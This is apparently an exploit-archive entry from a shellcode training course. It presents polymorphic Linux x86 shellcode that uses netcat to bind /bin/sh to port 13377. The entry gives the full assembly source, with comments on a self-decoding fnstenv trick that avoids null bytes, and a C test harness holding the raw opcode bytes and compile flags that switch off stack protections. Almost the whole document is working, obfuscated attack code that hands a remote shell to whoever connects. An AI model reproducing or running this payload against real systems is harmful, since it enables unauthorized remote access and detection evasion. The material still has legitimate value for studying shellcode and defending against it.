# Exploit Title: Polymorphic linux x86 nc -lvve/bin/sh -p13377 shellcode (92 Bytes)
# Exploit Author: Eduardo Silva
# Date: 2022-12-28
# Tested on: Linux x86_64 SMP Debian 4.19.260-1
# SLAE/Student ID: PA-31319
# Webpage: https://0xnibbles.github.io/
# Description: This shellcode is a polymorphic version of http://www.shell-storm.org/shellcode/files/shellcode-804.html.
# Shellcode is converted to raw opcodes and splitted in various "pieces" and those are decoded in runtime. Each "piece" of code is a preparation to nc arguments.
# To determine the end of each "piece" of opcodes that represent shellcode a nop (0x90) is used instead of a null bytes. the nop is decoded in runtime.
# The instruction - lea $Register, [esi+4] -determines which argument is being set up
# It leverages the x87 FPU instructions fnop and fnstenv to store EIP onto the stack and jump for the relative address in runtime. This used to avoid using call to perform relative jump as this introduces null bytes.
# For example, the relatiev call instruction - call $ + 0x12 ;\xe8\x0d\x00\x00\x00 - results in null bytes being added. USing fnstenv avoids this situation
#
# Example:
# $ ./shellcode
# Shellcode Length: 92
# listening on [any] 13377
#
# [...]
# $ nc 127.0.0.1 13377
# id
# uid=1000 ...
#
####################################
;Polymorphic linux x86 nc -lvve/bin/sh -p13377 shellcode
;This shellcode will listen on port 13377 using netcat and give /bin/sh to connecting attacker
global _start
section .text
_start:
xor eax,eax
mov al, 0x8
fnop
jmp short argParser ;fnstenv will make x87 FPU store this address
; the argParser stub adds 4 bytes to the stored and redirect execution to the next isntruction
sub eax,0x33317076
xor esi,DWORD [edi]
aaa
nop
lea edx, [esi+4]
mov al, 0xc
fnop
jmp short argParser
sub eax,0x6576766c ; \xe8\x0e\x00\x00\x00
das
bound ebp, [ecx+0x6e]
das
jae $+0x6a
nop
lea ecx, [esi+4]
;call $ + 0x12 ;\xe8\x0d\x00\x00\x00 --> example of how a call introduces null bytes
mov al, 0xc
fnop
jmp short argParser
das
bound ebp, [ecx+0x6e]
das
das
das
das
das
das
outsb
arpl word [eax],bx
lea ebx, [esi+4]
push eax
push edx
push ecx
push ebx
cdq
mov ecx,esp
mov al, 0xb
int 0x80
argParser: ; similar to jmp-call-pop but calls to a nop byte
; assuming al has the right distance
fnstenv [esp-0xc]
;pop esi
mov byte [esi + 0x4 + eax], ah ; null-byte decoder
lea edi, [esi + 0x4+eax+0x1]
xor eax,eax
jmp edi
##############################################
// Filename: shellcode.c
// Compile: gcc -m32 -z execstack -fno-stack-protector shellcode.c -o shellcode
#include<stdio.h>
#include<string.h>
unsigned char code[] = \
"\x31\xc0\xb0\x08\xd9\xd0\xeb\x43\x2d\x76\x70\x31\x33\x33\x37\x37\x90\x8d\x56\x04\xb0\x0c\xd9\xd0"
"\xeb\x31\x2d\x6c\x76\x76\x65\x2f\x62\x69\x6e\x2f\x73\x68\x90\x8d\x4e\x04\xb0\x0c\xd9\xd0\xeb\x1b"
"\x2f\x62\x69\x6e\x2f\x2f\x2f\x2f\x2f\x2f\x6e\x63\x18\x8d\x5e\x04\x50\x52\x51\x53\x99\x89\xe1\xb0"
"\x0b\xcd\x80\xd9\x74\x24\xf4\x88\x64\x06\x04\x8d\x7c\x30\x05\x31\xc0\xff\xe7";
main() {
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}